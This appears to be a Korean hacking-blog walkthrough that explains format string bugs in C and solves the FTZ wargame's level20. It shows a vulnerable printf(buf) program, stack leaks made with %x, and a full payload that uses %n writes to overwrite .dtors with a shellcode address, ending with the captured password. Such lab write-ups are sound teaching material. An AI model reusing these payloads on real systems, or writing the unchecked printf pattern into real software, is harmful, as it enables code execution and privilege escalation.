문제를 풀기 전에 포맷스트링버그에 대해 정리하려고 한당.


1. 포맷스트링이란 무엇일까?

포맷스트링은 c언어에서 변수를 출력하고자 사용하는, 이를테면 %c라던가 %d같은 서식 문자이다

나 같은 초보 프로그래머들은 끽해봐야 %c %d %x %s %f 정도밖에 모를 테지만

사실 포맷스트링버그라는 공격 기법에 핵심이 되는 서식 문자가 있다

바로바로 %n이다(처음엔 \n이랑 비슷하게 생겨서 헷갈렸었다)

나에게는 c언어 책이 몇 권 있지만 책에서도 본 기억이 없는 것을 보아 일반 프로그래밍에는 잘 사용하지 않는 듯 하다

물론 내 지식의 깊이 탓도 있다 ㅎㅎ;;

%n이라는 서식 문자는 사용했을 때, 스택의 다음 4바이트에 있는 값을 주소로 하여 거기에 %n 이전의 모든 문자 개수의 합이 저장된다


요 버그가 성립되는 또 다른 조건은 printf를 쓸 때 어디서 주워들은 요상한 방식을 사용했을 때이다
이 %n이라는 서식 문자 하나로는 버그를 발생시킬 수가 없다 무슨 마스터키도 아니구


 

[level20@ftz tmp]$ cat shapeofU.c

#include<stdio.h>


int main(int argc, char ** argv)

{

        char buf[1000];


        strcpy(buf, argv[1]);


        printf(buf);

        printf("\n");

        return 0;

}

[level20@ftz tmp]$



간단한 프로그래밍을 하나 해 봤다

평소 쓰던 방식과의 차이가 보이는가? 난 저 방식은 자바에서만 쓸 수 있는 줄 알았는데 c언어에서도 된다

저 방식을 써도 출력할 때는 아무 문제가 없다

그러나 여기에 서식문자를 넣었을 때는 얘기가 좀(사실 많이) 달라진다

만약 내가 %x이라는 문자에 이유 모를 아름다움을 느껴서 %x라는 문자를 출력하고 싶다고 치자


 

[level20@ftz tmp]$ ./shapeofU %x

bffffb94

[level20@ftz tmp]$



내가 원하는 건 분명 %x라는 문자 그 자체였는데

왠지 모르게 요시꾸리한 주소값이 출력이 됐다 흠 ;;

%x를 여러번 넣어보도록 하자 이유는 묻지 말라



[level20@ftz tmp]$ ./shapeofU "AAAA %x %x %x %x"

AAAA bffffb86 0 0 41414141


 


네 번째 %n에서 내가 처음에 입력했던 AAAA가 나와버렸다

아까 %n은 4바이트에 있는 값을 주소로 하여 거기에 %n 이전의 모든 문자 개수의 합이 저장된다 라고 했었다


 

[level20@ftz tmp]$ ./shapeofU "AAAA%n"

Segmentation fault



이렇게 하면 어떻게 될까?

%n 앞에 있는 문자의 개수(4개) 가 스택의 다음 4바이트에 있는 내용을 주소값으로 하여(0x41414141) 거기에 저장된다

고로 0x41414141에 4가 저장된다는 것이다!

이를 잘 이용하면 내가 원하는 주소에 내가 원하는 값을 넣을 수 있다

참고로 굳이 특정 문자를 십만번 백만번 입력하지 않아도, %8x 같은 형식으로 자리수를 지정할 수 있으니 더 간편한 코드를 작성할 수 있다


여기까지가 포맷스트링버그의 원리이다


그럼 문제를 풀면서 적용해보도록 하자



[level20@ftz level20]$ cat hint


#include <stdio.h>

main(int argc,char **argv)

{

char bleh[80];

  setreuid(3101,3101);

  fgets(bleh,79,stdin);

  printf(bleh);

}

 


아까 말했던 취약점이 발생할 수 있는 부분이 있다

그러면 환경변수에 쉘코드를 등록시켜놓고 주소값을 구해서, 프로그램이 끝나면 실행되는 부분에 그 주소값을 넣으면 될 것 같다

근데 어디다가 넣지?

우리는 보통 ret에다 넣었었는데, 랜덤 스택이여서 실행할 때마다 주소값이 바뀐다면 좀 곤란할 것이다

찾아보니 .dtors라는 게 있는데 소멸자라고 프로그램 종료 시 실행되는 것 같다

일단 환경변수를 등록하고 프로그램까지 짜서 주소값을 알아내보자



 [level20@ftz tmp]$ ./whereRU

0xbffffbc1



(듣고 있는 노래로 이름을 지었는데 대충 상황이랑 맞는 것 같다)

그리고 .dtors의 주소값을 알아내자


 

[level20@ftz level20]$ objdump -h attackme | grep .dtors

 18 .dtors        00000008  08049594  08049594  00000594  2**2



보통 두 번째 주소값에 +4를 해서 거기부터 값을 넣는다고 한다 이건 자세히 알아보고 추가하도록 하겠다

아무튼 시작 주소는 08049598

그러니까 여기다가 아까 환경변수의 주소값인 0xbffffbc1를 넣으면 된다는 것인데 문제는 숫자가 너무 크다

3221224385이라는 숫자가 나오는데, 시간도 오래 걸릴 뿐더러 아마 오버플로우 문제가 발생할 것 같다

그래서 이걸 반으로 나눠볼거다

bfff/fbc1 이렇게 나눠서 넣어보자

bfff는 49151, fbc1은 64449이다

주소값을 반으로 쪼개어 각각 2바이트씩이 됐으므로 .dtors의 주소도 8049594, 8049596 두 개로 쪼개보자

우리는 리틀 엔디안 방식을 사용하므로 앞 주소에 64449 뒷 주소에 49151을 입력하면 된다

그리고 아까 %x를 네 번 사용해야 bleh라는 배열에 들어간 데이터를 읽기 시작했다

그러니 esp의 위치를 옮기기 위해 %8x를 세 번 사용해 주자

세 번 사용한 후 %n을 사용하면 지금 스택 주소에 +4를 해서 그 곳에 저장하기 때문이다



AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%64449c%n%49151c%n



대충 이렇게 넣으면 될 것 같다고 생각할 것이다

그런데 이렇게 넣으면 안 된다 

%n은 앞에 넣은 모든 문자의 개수를 센다고 했다 그래서 이것까지 계산을 해 줘야 한다

앞에 들어간 문자는 40바이트이므로, 64449에서 40을 뺀 64409가 나와야 한다

그리고 bfff가 들어간 부분은 앞의 문자열이 64449개가 될 것이므로 이걸 빼 주어야... 하는데 음수가 나와서 뺄 수가 없다

그럼 앞에 1을 붙여서 계산하면 된다(보수를 취하는 거다)

1bfff(114687)-64449=50238

따라서 최종 코드는 아마 이렇게 될 것이다



AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%64409c%n%50238c%n 



strcpy 방식이 아니므로 ;cat과 파이프 명령어를 이용해서 공격을 해 보도록 하자



[level20@ftz tmp]$ (python -c 'print "AAAA\x98\x95\x04\x08BBBB\x9a\x95\x04\x08%8x%8x%8x%64409c%n%50238c%n"';cat)|/home/level20/attackme

AAAA˜BBBBš      4f4212ecc04207a750   

 

...



공격이 성공했다면 어마어마어마한 공백이 뜬다


...


my-pass

TERM environment variable not set.


clear Password is "i will come in a minute".



이렇게 클리어 패스워드를 얻을 수 있다!


간단하게 포맷스트링버그와 ftz 마지막 문제를 풀어보았다

문제가 있거나 궁금한 부분은 댓글로 찔러봐 주면 될 것 같다!

'hacking > ftz/lob' 카테고리의 다른 글

lob golem->darknight(level12) + FPO  (0) 2017.09.27
lob skeleton->golem(level11) + 공유라이브러리  (0) 2017.09.24
lob goblin->orc(level4)  (0) 2017.09.17
lob gate->gremlin(level1)  (0) 2017.09.17